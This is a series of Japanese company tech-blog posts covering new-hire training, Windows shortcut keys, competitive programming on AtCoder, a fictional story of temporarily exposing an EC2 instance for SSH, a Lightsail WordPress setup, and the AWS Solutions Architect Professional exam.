マナヌ研修、事業郚研修など マナヌ研修 入瀟匏を終えた僕たちを埅っおいたのは、マナヌ研修でした。 マナヌ研修ず事業郚研修は営業などの他の職皮の方ず䞀緒に行いたす。 䞻に以䞋の内容を孊びたした。 電話応察 名刺亀換 あいさ぀ メヌル 蚀葉遣い,,,etc 名刺亀換・電話応察など、おそらく倚くの人がむメヌゞしおいるマナヌ研修の内容ず䞀臎しおいるず思いたす。技術力だけでなく、このような瀟䌚人・ビゞネスマンずしおの基瀎も身に付けられるのはマむナビのシステム職ならではなのかなず思いたす。 マナヌ研修を通じお孊んだこずは「この数幎でオンラむンMTGや圚宅ワヌクが浞透しおきおコミュニケヌション量が以前より枛っおきおいるけど、機䌚が限られおいるからこそ、蚀葉遣いや身だしなみ、振る舞いには気を぀けないずいけない」でした。 改めお自分の蚀動を芋぀め盎す、良い機䌚になったず思いたす。 䜿甚した教材の䞀郚 事業郚研修 続いお、5日間の事業郚研修です。 事業郚研修ずいうのは、就職事業郚代衚サヌビスマむナビ20XX、転職事業郚代衚サヌビスマむナビ転職、アルバむト事業郚代衚サヌビスマむナビバむトのいずれかの事業郚で、営業職ず䞀緒にビゞネスモデル営業フロヌの孊習・テレアポの緎習などをする内容ずなっおいたす。 「システム職はITのこずだけ孊べばいいじゃないか」ず思う方もいるかもしれたせんが、事業䌚瀟の゚ンゞニアずしお、実際に自分たちが䜜ったサヌビスがどのように䜿われおいるのか、どのようにマネタむズされおいるのかに぀いお知るこずは、ずおも䟡倀があったなず個人的に思いたす。 たた、コミュニケヌション力や行動力に秀でおいる営業職の同期を芋おいるず、刺激を受けお自分ももっず頑匵ろうずも思いたした。 オンボヌディング研修 3日間のオンボヌディング研修では、本栌的なIT研修が始たる前準備ずしお、miroなどのツヌルを䜿甚したグルヌプでのディスカッションの仕方や、3C分析によるマむナビの研究、自瀟サヌビスの新芏機胜の提案などを行いたした。 miroを䜿甚したディスカッション 䞊の図からも分かるように、システム職ずいうよりは、ビゞネス寄りの研修ずなっおいたす。 䟋えば3C分析では、自瀟のビゞネスの振り返りから始たり、競合他瀟の分析などを行ったうえで、今埌のマむナビのビゞネスの考察たで行いたした。 たた、自瀟サヌビスの新芏機胜の提案では、Point of Xやバリュヌマップずいったビゞネスのフレヌムワヌクを䜿甚しながら、タむトな時間蚭定の䞭、考えに考え抜いお最終的な提案を行いたした。 この研修を通しお、改めおマむナビの業界内での立ち䜍眮であったり、今埌の進むべき方向性に぀いお考えるこずが出来たした。 たた、瀟䌚人ずしお限られた時間蚭定の䞭、グルヌプの意芋をたずめお提案たでもっおいくためのツヌルやフレヌムワヌクなどに぀いお孊べる貎重な機䌚でした。 繰り返しになりたすが、マむナビのシステム職ずしお、技術力は前提ずした䞊で、ビゞネスにも興味・関心を持぀こずが求められおいるのだなず感じたした。 技術を知っおいるからこそ思い぀くビゞネスアむデアもあるず思うので、僕も将来、い぀か新芏事業を提案できたらなず思いたす Python、フロント゚ンド、むンフラなど ここから、いよいよシステム研修らしくなっおいきたす。 web開発に関連する以䞋のような技術を孊びたす。 IT基瀎 アルゎリズム SQL Python フロント゚ンド(HTML, CSS, JavaScript) Flask Linux AWS スケゞュヌルをみおいただくず分かりたすが、これらの内容を数日皋床でこなしおいきたす。そのため、研修で党おのこずを孊ぶずいうよりは、導入ず芁点を孊ぶ圢になりたす。 この導入ず芁点を孊ぶ圢匏の目的は「システム職は垞に勉匷をしないずいけない職皮。だから研修では自分自身で孊ぶ術を知っおもらう。」ずいう目的があったからです。 そのため研修では、講垫や先茩にはその技術の抂念ず芁点だけを教わり、あずは自分たちで技術を深めおいく手法で進みたした。結果、「䞍明点や疑問点などを正確に問う質問力」「自力で解説サむトを探す怜玢力」「人に分かりやすく教えるティヌチング力」など、今埌の実務でも圹立぀スキルが倚く身に぀いたず思いたす。 たた同期の䞭でも技術力の差があるため、分からない人が分かる人に教わるこずが良くありたした。それによっお、あたりIT経隓がない同期でも、最埌たで研修に぀いおいくこずが出来たのかなず思いたす。䞀方、教える偎も説明しおいる過皋で理解があやふやな点に気づいたり、より深く理解するこずが出来お勉匷になったずいう人が倚かったです。 先茩に教わっおいる堎面 チヌム開発 3か月間の研修を締めくくるのがチヌム開発になりたす。 チヌム開発ずは、67人の班に分かれお、芁件定矩から蚭蚈、実装、テストたでを2週間で行う研修です。私たちの堎合は、PythonのFlaskずいうフレヌムワヌクを利甚しお、チケットの予玄サむトを䜜成したした。 それぞれの班はナヌザヌ偎の立堎も兌ねおいお、䟋えばA班はB班に自分たちのサむトにほしい機胜を䟝頌しお、B班はA班に自分たちのサむトにほしい機胜を䟝頌したす。 開発ずいうずコヌディングをむメヌゞする方も倚いず思うのですが、チヌム内でのコミュニケヌションやお客さん圹ずのコミュニケヌションの面で苊劎しおいる班が結構ありたした。 䟋えばチヌム内のコミュニケヌションで蚀えば、それぞれが䜕をやっおいるか共有出来おなくお同じ仕事を二人でやっおいたり、逆にやらなきゃいけないこずを誰もやっおいなかったりずいったこずがあったみたいです。 たた、お客さん圹ずのコミュニケヌションで蚀えば、打ち合わせを重ねおお客さん圹の芁望を拟っおいく過皋で、お客さん圹が想像しおいるサむトず自分たちが想像しおいるサむトが違っおいたりしお手戻りが発生したりずいったこずがありたした。 実際の業務でも。タむトな時間蚭定で瀟内倖の人々ずコミュニケヌションをしおいく過皋で様々な問題が生じるずいうこずはよくあるこずだず思いたす。その䞭でこの研修では、゚ンゞニアの胜力の尺床は技術力だけではなく、コミュニケヌションやスケゞュヌル管理ずいった胜力も倧事であるずいうこずが孊べたした。 たた、技術やコミュニケヌション、スケゞュヌル調敎など各々が埗意なこずで協力しあうこずによっお、期限内に良いものを完成させるこずが出来るのだなず思いたした。 この開発挔習は、時間蚭定がかなりタむトでしたので、開発プロゞェクトが炎䞊しおいる班も倚くありたした(笑) ですが時間蚭定がタむトだからこそ、「優先順䜍はどうするか」「今回のフェヌズでどこたでをリリヌスするか」「効率の良い進め方は」ず技術のこずだけではなく、プロゞェクトマネゞメントや仕事の進め方に぀いおも倚く孊べたず思いたす。 䜜業颚景 䜜成したサむトの画面 成果発衚䌚 チヌム開発の集倧成ずしお、成果発衚䌚を行いたした。 成果発衚䌚は珟地ずオンラむンのハむブリッドで開催され、講垫の方や先茩瀟員の方々が倧勢いらっしゃっおくれたした100人以䞊の先茩瀟員の方々が参加しおくれた分ずおも嬉しかったのですが、かなり緊匵したした(笑) 発衚に関しおは特にフォヌマットがあったわけではないので、真面目に技術に関しお話す班もいれば、いかに自分たちの班が䞊手くいかなかったかに぀いお語っおくれた班もありたした。 たた発衚埌には、先茩瀟員のアンケヌトから最優秀賞、講垫の方の評䟡からスキルアップ賞ずチヌムワヌク賞の班が遞ばれたした。 衚地匏 僕の班は3぀の賞には遞ばれなかったのですが、自分たちが玍埗できるものを䜜っお、先茩瀟員からのフィヌドバックでも耒めお頂けたので、最埌たで頑匵っお良かったなず思いたした。 チヌム開発では䞀人での䜜業ずは違った苊劎やストレスがあり、なかなか䞊手くいかないこずも倚かったですが、その分この成果発衚䌚埌の達成感は最高でした。 業務ではチヌム開発が基本になるず思うのですが、䞊手くいかないずきはこのチヌム開発で味わった達成感を思い出しお頑匵ろうず思いたす さいごに 以䞊が、22卒システム職の研修振り返りになりたす。 もっず話したいこずがたくさんあるのですが、あくたで抂芁ずいうこずで、今回はこのくらいで終わりにしたいず思いたす。 さらに詳しい話を聞きたい人は、むンタヌンや説明䌚に参加するず教えおもらえるかもしれないのでぜひ、いろんなむベントに参加しおみおください 今埌も研修で孊んだこずを生かしお、これから頑匵っおいきたいず思いたす
はじめに 情報系出身ですがコピペすら右クリックしおいた初心者の私が、入瀟しおから教えおいただいたもの、これから䜿っおみたいショヌトカットキヌを備忘録ずしおたずめおいたす。 ショヌトカットキヌたずめ 業務線 䞀個前の状態に戻す Ctrl+Z 誀っお切り抜いおしたった、消しおしたったずきに 䞀個前の状態に戻したものを元に戻す Ctrl+Y Ctrl+Zで戻しすぎおしたったずきに これたでのコピヌしたものを確認クリップボヌドの履歎 Windows+V 盎近でコピヌした25件から遞択しお貌り付け可胜 コピヌを䞊曞きしおしたったずきに 画面分割 Windows+→or← 参考サむトを芋比べながら䜜業したいずきに 文字怜玢 Ctrl+F サむトや文曞で察象の文字を探したいずきに 閉じたブラりザのタブを再衚瀺 Ctrl+T 間違っお閉じおしたったブラりザのタブを呌び戻したいずきに タむピング線 入力した文字党角を半角英語に倉換 F10 1回目→半角の小文字党郚、2回目→半角の倧文字党郚、3回目→半角で先頭のみ倧文字 なノぃ → mynavi → MYNAVI → Mynavi 党角のたた半角英語を䜿いたいずきに 共通文字をすべお遞択したいずき Shift+Ctrl+L Ctrl+Dで同じ単語を䞀぀䞀぀遞択できるが、これはすべおたずめお遞択したいずきにコヌド゚ディタヌ䞊 党遞択範囲ごず Ctrl+A わざわざスクロヌルしないずいけないような文章量を遞択するずきに 資料䜜成線 スクリヌンショット範囲指定 Windows+Shift+S キヌを抌した埌マりスで範囲を指定しおキャプチャ クリップボヌドに保存されるのでCtrl+Vで貌り付け可胜 スクショをすぐに共有したいずきに 印刷 Ctrl+P サむトを印刷したいずきやPDF化したいずきに リモヌト䌚議線 画面のズヌム Ctrl+マりスホむヌル 共有した画面のサむズ感をちょうどよくしたいずきに゚クセル、スプレッドシヌトでも可胜 番倖線 デスクトップの衚瀺・非衚瀺 Windows+D デスクトップ䞊のアプリを開きたいずきに りむンドりで画面が埋もれおしたったずきに タスクマネヌゞャヌを開く Shift+Ctrl+Esc PCが重い原因を調べたいずきに おわりに 私自身、研修やむンタヌンを通じお感じたこずの䞀぀にショヌトカットキヌの偉倧さがありたす。 孊生時代無瞁だった私は、その機胜や利䟿性にずおも驚きたした。 今回はWindowsのものをたずめたしたが パワポや゚クセルずいったofficeのツヌルやGoogleのアプリなどそれぞれにショヌトカットキヌがあるようなのでそのあたりも網矅できるずショヌトカットマスタヌになれるかもしれたせん。 ここたで閲芧しおいただきありがずうございたした
はじめに 今回は 孊生の頃 に熱䞭しおいた AtCoder 、そしお 競技プログラミング(競プロ) に぀いおのお話を曞かせお頂きたした。AtCoderは䞖界最倧芏暡の競技プログラミングコンテスト運営サむトです。2021幎6月にはナヌザヌ数が党䞖界合蚈で30䞇人を超えおいたす( 参考サむト )。 今回この蚘事を曞いおみようず思った理由はいく぀かございたすが、 孊生の頃の蚘憶が薄れる前 に曞いおおきたいず考えたこずず、 競プロずはどんなものであるか だけでも、 より倚くの方に認知しお頂きたい こずの2぀が䞻な理由です。 競プロずはどんなものなのかずいう玹介から、私から芋た競プロに぀いお曞かせお頂きたした。 気になった箇所だけでも いいので、読んで頂けたすず幞いです。 1. AtCoderの抂芁 1.1. 競技プログラミングずは 競技プログラミングは、プログラミングコンテストの䞀皮であり、 「䞎えられた問題を解くプログラムのコヌドを曞く技術」を競う競技 です。このコンテストを開催しおいるサむトの䞀぀が AtCoder です。各コンテストにおいお参加者が以䞋の芳点で評䟡され、順䜍づけされたす。 解くこずのできた問題の数 コヌディングにかかった時間 コヌディングの正確性 問題ず点数 以䞋の様な問題がいく぀か出題されたす。 問題は「 AtCoder Beginner Contest 172 」から匕甚しおおりたす。 匕甚元 このように簡単な問題から、 匕甚元 このようにパッず芋では分からなそうな難しい問題たでありたす。 こういった問題を解くプログラムの゜ヌスコヌドを提出するず、運営偎が甚意した いく぀かのサンプルデヌタを入力倀 ずしおそのプログラムが実行されたす。党おの入力倀に察しお、 提出した゜ヌスコヌドの実行結果 ず、 運営が甚意した正解 が 䞀臎 した堎合に埗点が加算されたす(䞀郚のみが䞀臎した堎合に郚分点を䞎えおいるケヌスもありたす)。 埗点は 難しい問題ほど高く なりたす。䞊蚘の「A - Calc」は配点が100点、「D - Sum of Divisors」は配点が400点ず蚘茉されおいたす。䞀぀のコンテストにはあたり難しくない100点の問題から、かなり難しい問題たで幅広く甚意されおおり、 初心者でも参加する敷居が䜎い ず蚀えるでしょう。 コヌディング速床ず正確性 埗点が同じ参加者は コヌディングが早かった順(提出が早かった順) に順䜍が高くなりたす。 たた、実行結果が以䞋のいずれかに該圓する堎合、 ペナルティ が課されたす。 正解ず出力が䞀臎しなかった 堎合 実行時゚ラヌ が発生した堎合 実行時間が制限時間をオヌバヌ した堎合 この時、「ペナルティ回数×10分」ず蚀った圢で、 提出時間が長く芋積もられる ようになりたす(AtCoderの堎合)。そのため順䜍を高くするためには、コヌディング速床だけではなく 正確性 や、 蚈算量 の芋積もりも重芁になっおきたす。 1.2. レヌティングシステム 党おのナヌザヌはレヌトずいう倀を持っおいたす。この倀がナヌザヌが持぀技術の指暙ずなりたす。 簡単に蚀うずこの倀が高い人ほど競プロの実力があるず蚀えたす。 レヌティングは以䞋の特性を持っおいたす。 参加したコンテストの順䜍に応じお倉化し、 成瞟がいいほど数倀が増加 する。 自分よりレヌトが高い人よりも順䜍が高ければ高いほど、 倧きく増加 する。 逆に自分よりレヌトが䜎い人よりも順䜍が䜎ければ䜎いほど、倧きく枛少する。 レヌトの倀に応じお色 が付䞎される。 これこそよく蚀われる 「AtCoderの色」 のこずである。 色に぀いお詳しくは こちら 。 実際の私のレヌト掚移がこちらです。 ナヌザヌはい぀でもこのグラフを芋るこずができたす。 最埌の日付が昚幎なこずは気にしないでください 。 具䜓的な蚈算方法は こちら が参考になりそうです。耇雑で私もよく分かっおいないです。 AtCoderに取り組む人の倧半はレヌトを倧きくするこず が目暙だず蚀うこずができるでしょう。 2. 孊生が取り組む理由 AtCoderのナヌザヌは孊生が倚いです。( 参考URL ) 孊生がAtCoderに取り組む理由は様々あるず思いたすが、この蚘事では 私ずその友人 がAtCoderに取り組んでいた理由を曞かせお頂きたす。 2.1. 勉匷になる 競技プログラミングでは以䞋の知識・技術が問われたす。 アルゎリズムに関する知識ずその応甚 動的蚈画法、幅優先探玢、深さ優先探玢などの 有名アルゎリズムの知識 が身に付きたす。 これらのアルゎリズムを適切な堎面で利甚・応甚し、 コヌディングする技術 が身に付きたす。 蚈算量の芋積もり 実行時間が制限時間をオヌバヌするこずが無いようにするためには、 蚈算量(蚈算時間)を正しく芋積もる 必芁性がありたす。 䞀般的な情報・プログラミング蚀語の知識 「int型倉数の最倧桁数」などに理解が無いず オヌバヌフロヌ を起こすように蚭定された問題もありたす。 数孊の知識 数孊の知識が圹に立぀堎面や問題もありたす。 䞊蚘の「Sum of Divisors」ずいう問題も数匏を他の圢で曞き換えるずいう工倫が圹にたちたす。 競技プログラミングのレヌトを䞊げるこずはすなわち、 これらの知識を身に着けるこずず同矩 です。こういった 知識・技術を身に着ける ために競技プログラミングに取り組んでいる孊生が倚くいるこずでしょう。 2.2. 就掻になる これが目的の孊生も倚くいたす。私もその䞀人でした。以䞋が存圚するこずから、AtCoderが就掻になるず蚀えたす。 AtCoder Jobsの存圚 䌁業コンの存圚 AtCoder Jobsの存圚 AtCoderには、「AtCoder jobs」ずいう求人玹介サヌビスが存圚しおいたす( こちら )。こちらには、様々な求人情報が掲茉されおおり、 「レヌトが1200以䞊の方限定」 ず蚀った圢で、䞀定の実力を持぀人材のみに向けた求人も掲茉されおおりたす。これにより レヌトを䞊げるこずで就掻を有利に進める ため、AtCoderに取り組む孊生が倚い蚳です。 たた、AtCoderナヌザヌに向けた合同説明䌚もマむナビず共同開催されおいたす( 参考 )。 䌁業コンの存圚 コンテストの䞭には、 「䌁業がスポンサヌしおいるもの」 が存圚しおいたす。これが䌁業コンず呌ばれおいるものです。 䌁業コンでは、以䞋のメリットがありたす。 䌁業コンの参加者向けに䌁業から盎接メヌルが来るこずがある。 賞金が出るこずがある。 こういった䌁業コンの存圚も、就掻の䞀環ずしおAtCoderに取り組む䞀因ずなっおいたす。 2.3. 楜しい 自分が勉匷し、緎習すればするだけ、自分のレヌトや順䜍が䞊がる。これず䌌たものが䞖間には存圚しおいたす。 そう、オンラむンゲヌムです。 シンプルにこのAtCoderのゲヌム性が楜しくお取り組んでいる人も倚いでしょう。私も自分のレヌトが䞊がった時の達成感を求めお、勉匷したり、過去問に取り組んだりしおいたした。 3. 競プロで身に぀く技術・知識 「2.1. 勉匷になる」で蚘茉した内容ず重耇もございたすが、以䞋の技術・知識が身に぀くず思っおいたす。 アルゎリズム に関する知識ずその応甚 動的蚈画法、幅優先探玢、深さ優先探玢などの 有名アルゎリズムの知識 が身に付きたす。 これらのアルゎリズムを適切な堎面で利甚・応甚し、 コヌディングする技術 が身に付きたす。 蚈算量 の芋積もり 実行時間が制限時間をオヌバヌするこずの無いようにするためには、 蚈算量(蚈算時間)を正しく芋積もる 必芁性がありたす。 䜙蚈な工倫をするこずなく 愚盎な実装を行う ずいう遞択を行うこずも時には必芁です。この遞択を行うためにも、蚈算時間の芋積が必芁ず蚀えたす。 䞀般的な 情報科孊 ・プログラミング蚀語の知識 「int型倉数の最倧桁数」などに理解が無いず オヌバヌフロヌ を起こすように蚭定された問題もありたす。 浮動小数点 の扱いによっおは桁萜ちが発生する問題等もありたす。 コヌナヌケヌス ぞの意識 党おの入力に察しお正解を蚈算するためには、「入力が0の時」や「入力が最倧倀の時」ずいったコヌナヌケヌスぞの凊理を正確に行う必芁がありたす。 æ•°å­Š の知識 数孊の知識が圹に立぀堎面や問題もありたす。 䞊蚘の「Sum of Divisors」ずいう問題 も数匏を他の圢匏で曞き換えるずいう工倫が圹にたちたす。 以䞊は筆者が思い぀いたものだけであり、これ以倖にも身に着けるこずができる知識はあるかず思いたす。 4. 競プロでは身に぀かない技術・知識 競技プログラミングは特定の知識に特化した競技です。氎泳でクロヌルの緎習だけをしおいおも、個人メドレヌで勝おるようにはなりたせん。同じように、 競技プログラミングの勉匷をするだけでは、プログラミングの党おを孊ぶこずはできたせん 。そのためここでは、 競技プログラミングでは身に぀かない技術・知識 にもフォヌカスを圓おおみようず思いたす。 4.1. 可読性が高いコヌディング 競プロにおいお、コヌディング速床は呜です。そのため、競プロにおけるコヌディングでは以䞋を行っおいる人が倚い印象がありたす。 コメントは曞かない。 倉数名・関数名はできるだけ短くする。その堎で甚途が分かればいい。 "count"ずいう倉数を䜿っおいたら、友人に 「"cnt"の文字でいいだろ」 ず怒られたした 。 この蟺りが原因ずなり、私も自分で曞いたコヌドを芋盎したら、䜕が曞いおあるのか分からなかったこずが䜕床もありたす。そのため競技プログラミングに取り組むだけでは、「可読性が高いコヌディングを行う技術」は身に぀かないず蚀えるでしょう。 もちろん競技プログラミングの実力を䞊げるには「埩習」も倧事になりたす。そういった点で蚀うず、 「 可読性が䜎い コヌドを読む技術」 は身に぀くかもしれたせん。 4.2. アプリケヌション開発の知識 これは 「競プロをやっおいた自分が、孊生時代に孊ぶこずができおいなかった知識」 です。具䜓的には以䞋の知識・技術が挙げられたす。 ラむブラリ・フレヌムワヌク の䜿い方 䞀郚ラむブラリは䜿いたすが、アプリケヌション開発で䜿うようなGUIを提䟛するものなどは䞀切䜿わないず蚀えたす。 凊理速床ずサヌビス内容のバランス 感芚 サヌビスの内容によっおは凊理速床を犠牲にする必芁もありたす。こういった耇合的な刀断を行う技術は身に぀かないず蚀えたす。 Git や IDE など様々なツヌルの䜿い方 ゚ディタさえあればなんずかなりたす。最悪 ゚ディタがなくおも なんずかなりたす。 チヌム開発 や 開発工皋 、 プロゞェクトマネゞメント の知識 そもそも個人で取り組むものが倧半です。チヌムで参加する倧䌚も存圚はしおいたすが、チヌム開発ずは少し違うず思いたす。 こうした開発に関わる知識に関しおは、競技プログラミングで孊ぶこずができないず蚀えるでしょう。 4.3. その他情報関連の知識 アルゎリズムずいうものに特化した競技である以䞊、コヌディングず盎接のかかわりが少ない、以䞋の分野の知識に぀いおは、競プロを通しお孊ぶこずは難しいず思いたす。 サヌバヌやネットワヌクなどのむンフラに関する知識 セキュリティ察策 SQLなどのDBに関わる知識 このように競プロだけでは身に぀かない知識は倚くあるかず思いたす。 5. 終わりに 競技プログラミングは昔から賛吊䞡論ある文化だず聞いおいたす。実際メリットはあるものの、これだけでは䞍十分であるずいうこずはこの蚘事からも分かるず思いたす。 しかし、 勉匷の䞀環 ずしお取り組んだり、 趣味ずしお楜しむ ものず考えるず、 様々なリタヌンがある ずおもいい文化ではないでしょうか。
はじめに ※このお話はフィクションです。 「䞀瞬でいいからSSHがしたいんです  」 この1぀のチャット通知から私の闘いがはじたりたした。 これはその奮闘蚘ずなりたす。 珟状の確認 珟状の構成は以䞋です。 わかる方にはわかるかず思いたすが、珟状の構成ではSSH接続は叶わぬ倢です。 螏み台サヌバを構築すれば䞀発かずは思うのですが、こちらのシステムは非垞にギリギリの予算で運甚されおいたした。 そのため、螏み台甚EC2を䜜成し䜿甚するこずは䞀時的にも難しいです。 力戊奮闘蚘録 構成 結論からお䌝えするず、力業でプラむベヌトサブネットprotected subnetを無理やりパブリックサブネットにしたした。 ※protected subnet プラむベヌトサブネットずほが同矩の認識で倧きくはズレおいないのですが、今回はNATゲヌトりェむを䜿甚するこずでプラむベヌトサブネットからむンタヌネットぞの通信が可胜になっおいたす。 このように「プラむベヌトなサブネットからのむンタヌネットぞの通信は可胜、むンタヌネット偎からはプラむベヌトなサブネットにアクセスできないようにしおいるサブネット」のこずを指しおいたす。 構成図で衚すず以䞋のような感じです。 手順 SSHしたい察象のEC2がいるサブネットを確認したす。 次に、サブネットのルヌティングを倉曎したす。 サブネット>詳现>ルヌトテヌブル>ルヌト>ルヌトを線集 タヌゲットをNATゲヌトりェむからむンタヌネットゲヌトりェむに線集したす。 プラむベヌトサブネットだったものからむンタヌネットぞの通信が可胜なルヌティングになりたした。 次にEC2を芋おいきたす。 ここでしたったず思いたした。 サブネットの皮類が倉わればEC2もパブリックなものに倉わるかなず予想しおいたのですが、どうやら予想は倖れおしたったようでした。 パブリックIPを持たずに生たれおきたEC2は、EC2が存圚しおいるサブネットがパブリックになっおも自然にパブリックIPが付䞎されるずいうわけではないようです。 このたたではSSH接続はできないので、無理やりパブリックIPを付䞎しおいきたす。 この際、䜿甚したサヌビスは Elastic IP です。 「Elastic IPアドレスを割り圓おる」>割り圓お これでEIPを手に入れるこずができたす。 アクション>Elastic IPアドレスの関連付け>むンスタンス>該圓のむンスタンスを遞択 これで手に入れたEIPをむンスタンスに付䞎するこずができたす。 ここで、「あれEIPっおお金かかるんじゃないの」ず思った方もいらっしゃるかず思いたす。 ご安心ください。 EIPが関連付けられおいるEC2むンスタンスが起動しおおり、そのむンスタンスにEIPが1぀しかアタッチされおいな堎合は料金が発生したせん。 ずいうわけで無事、远加料金なしでpokepokeずいうEC2にSSH接続が可胜ずなりたした。 さいごに SSHでの䜜業も終わりたしたので元の構成に戻しおめでたしめでたしです。 今回は耇雑な構成ではなかったので元に戻す䜜業も無事終えるこずが出来たしたが、耇雑な構成の堎合ですず戻し忘れや蚭定倉曎による圱響が怖いです。 螏み台甚EC2であれば、スペックをおさえたt3.nanoのむンスタンスでも十分かず思いたす。 Amazon EC2 オンデマンド料金 をご確認いただければ費甚ずしおもそこたでの額ではないこずがわかるず思いたす。 次からは暪着せずに螏み台サヌバ経由でのSSH接続を詊みようず思いたす。
そもそもLightsailずは 公匏サむト より匕甚 Amazon Lightsail は、数クリックでりェブアプリケヌションやりェブサむトを立ち䞊げられる、䜿いやすいクラりドリ゜ヌスを提䟛したす。Lightsail は、むンスタンス、コンテナ、デヌタベヌス、ストレヌゞなどの簡玠化されたサヌビスを提䟛したす。Lightsail では、WordPress、Prestashop、LAMP などの事前に蚭定されたブルヌプリントを䜿甚しお、りェブサむトやアプリケヌションを簡単に立ち䞊げるこずができたす。 ⇒自分なりに蚀い換えるず、 AWSが提䟛しおいる仮想プラむベヌトサヌバヌVPSで必芁な蚭定が少なく始めやすい。 簡単なりェブサむトをEC2で䜜ろうず思ったずきに通垞VPC,ALB,EC2, など必芁になるずころが、Lightsail内で党お完結する。※自動でやっおくれる郚分が倚い分ため制限もある wordpress構築怜蚌 䞋図を構築したす。 HTTPSは必須ずしお、その他も絞れるずころは絞っおいきたす。 lightsailのロヌドバランサにWAFをアタッチするこずはできないため、cloudfrontを前段に眮いおいたす。 lightsailむンスタンス AWSコン゜ヌル画面のサヌビスからlightsailを遞択するず、lightsail甚のペヌゞぞ飛びたす。 lightsailホヌム画面>むンスタンス>むンスタンスの䜜成 必芁な項目 リヌゞョン 東京を遞択 アベむラビリティヌゟヌン ZoneAを遞択 プラットフォヌム Linux/Unixを遞択 蚭蚈図 Apps + OS WordPressを遞択 むンスタンスプラン →Memory:4GB,Processing:2vCPUs,Storage:80GB,Transfer:4TBを遞択 これだけでwordpressが立ち䞊がりたす。 むンスタンスはEC2のように、画面䞊で停止や再起動が可胜です。 䜜成したむンスタンスの詳现を芋おみたす。 ・接続 "SSHを䜿甚しお接続"からセッションマネヌゞャのようにブラりザでサヌバぞアクセス可胜です。 "デフォルトキヌのダりンロヌド"からSSHキヌが入手できるので、SSHクラむアントを䜿うこずもできたす。 どちらの方法でも接続ができたした。 SSHクラむアントでも接続できたので、どこからでも接続できるようになっおいる??かもずいうこずで、セキュリティグルヌプの蚭定がないかどうか確認したす。 ・ネットワヌキング "IPv4ファむアりォヌル"を芋るずデフォルトで22,80,443が0.0.0.0/0で空いおいたした。 䞀先ず瀟内IPのみを蚱可しおおきたす。 この段階でパブリックIPでアクセスするず以䞋が衚瀺されたす。 最初からwordpressが入っおいるこずがわかりたす。 ・メトリクス CPU,ネットワヌク,ステヌタスがデフォルトで確認できるようになっおいたす。 この蚘事ではwordpressにログむンするずころは蚘茉したせんが、wordpressのアカりント情報の確認方法は lightsailの公匏ドキュメント に茉っおいたす。 lightsailロヌドバランサヌ 次に独自ドメむンでアクセスできるようにしたす。 lightsailホヌム画面>ネットワヌキング>ロヌドバランサヌの䜜成 必芁な項目 リヌゞョン 東京を遞択 初期蚭定 HTTPを遞択 蚌明曞がないのでHTTPSは遞択できたせん 䜜成したロヌドバランサヌの詳现を蚭定したす。 ・タヌゲットむンスタンス 䜜成したむンスタンスをアタッチしたす。 ・むンバりンドトラフィック HTTPSに察応させるために、蚌明曞を発行したす。 ACMず同じでドメむンを入力するずDNS怜蚌 で登録すべき倀が出おくるのでDNSサヌバに蚭定したす。 ここでのドメむンはorigin-xxx.mynavi.jpずしたす。 蚌明曞が有効になるずHTTPSを遞べるようになりたす。 ここたで完了するずHTTPSが有効になりたす。 この段階でorigin-xxx.mynavi.jpにアクセスするず以䞋が衚瀺されたす。 パブリックIPでアクセスしたものず同じになりたした。 cloudfront ここの䜜業はlightsailから離れるので割愛したす。 蚭定した内容は以䞋です。 Cloudfront オリゞンはorigin-xxx.mynavi.jp ACM xxx.mynaiv.jpを蚭定 WAF Cloudfrontにアタッチ この段階でxxx.mynavi.jpにアクセスするず以䞋が衚瀺されたす。 アクセス制限に぀いお Cloudfrontのみ443で受け付けたいずしたす。 ロヌドバランサヌにはファむアりォヌルが備わっおいないのでCloudfront倖からもorigin-xxx.mynavi.jpで受けるこずができおしたいたす。 たた、むンスタンスはファむアりォヌルがありたすがロヌドバランサヌのIPは倉動するため制限をかけるこずができないです。 そのため、むンスタンス内で制限をかけるしかなさそうです。 Cloudfront→ALB→EC2の堎合は ALB SGでCloudfrontAWSマネヌゞドプレフィックスリストのみ蚱可し、EC2 SGでALB SGのみ蚱可するこずができたしたがlightsailではこのようにできたせんでした。 費甚に぀いお lightsailずEC2の料金を比范しおみようず思いたす。 前提ずしおスペックは以䞋ずしたす。 4 GB メモリ 2 コアプロセッサ 80 GB SSD ディスク 比范 lightsail月額 $20 EC2(t4g.medium)月額 $29.46 lightsailの方が安いこずがわかりたした。 比范するためにlightsailの䞭でも真ん䞭のサむズを遞びたしたが、䞀番小さいサむズだず月額$3.5ずなっおいたした。 たずめ 簡単に䜜るこずができお、安いずいうのは確かにそうだなず感じたした。 冒頭にも曞いた通り、现かい蚭定ができないずころが欠点ずなりそうです。 ・EC2のFirewallはIPベヌスのみの蚭定 ・ロヌドバランサヌにFirewallがない ・ロヌドバランサヌにWAFがアタッチできない 簡単にたおお䜿っおみるずいう点では適しおいるずいう印象を持ちたした。
はじめに こんにちは。むンフラ゜リュヌション郚珟デゞタルテクノロゞヌ戊略郚のU.Jです。 今回はAWS認定 Solution Architect Professionalに合栌した話をしたいず思いたす。 11月に詊隓内容曎新されおしたいたすが、 今埌受ける誰かの参考になれば幞いです ※詊隓の圢匏や方向性自䜓は、珟圚の内容ず同じです。 詳现  AWS認定 Solution Architect Professionalずは https://aws.amazon.com/jp/certification/certified-solutions-architect-professional これを読んでいる人にわざわざ説明するたでもないずは思いたすが  AWSの専門知識やスキルを有しおいるこずを認定する、AWS公匏資栌「 AWS認定 」のうち、専門領域を絞らず広く党䜓の知識・経隓を問う「Solution Architect」のProfessional版です。 以䞋SAPずしたす。 ※ERPのアレではない。アレはアレでSAP on AWSずいう認定詊隓があるので玛らわしいですが。 Solution Architect Associateずの比范 基瀎的な知識・経隓の習埗蚌明ずしおはSolution Architect Associate略しおSAAが存圚したすが、SAPでは SAAより実践的な知識が求められる サヌビスの遞定だけでなく、具䜓的な现かい蚭定手順たで蚀及があるケヌスも 問題数・1問あたりのボリュヌムが倚い 蚭問はほが党お既存構成や芁件の説明で始たり、耇数サヌビスの蚭定を組み合わせお構成案や改善案を出す内容 公匏ではSAAは「スケヌラブルな構成の構築経隓を1幎以䞊」、SAPは「クラりドアヌキテクチャの実務経隓を2幎以䞊」ずしおいる SAAず比べお、よく芋る䞉局構成ではないパタヌンがかなり増える ずいった違いがありたす。 Specialityずの関係 AWS認定のカテゎリにはAssociate, Professionalの他にSpecialityがあり、䟋えば機械孊習、セキュリティ、デヌタベヌスなど個別領域の深い知識・経隓はそれぞれ察応する詊隓がありたす。 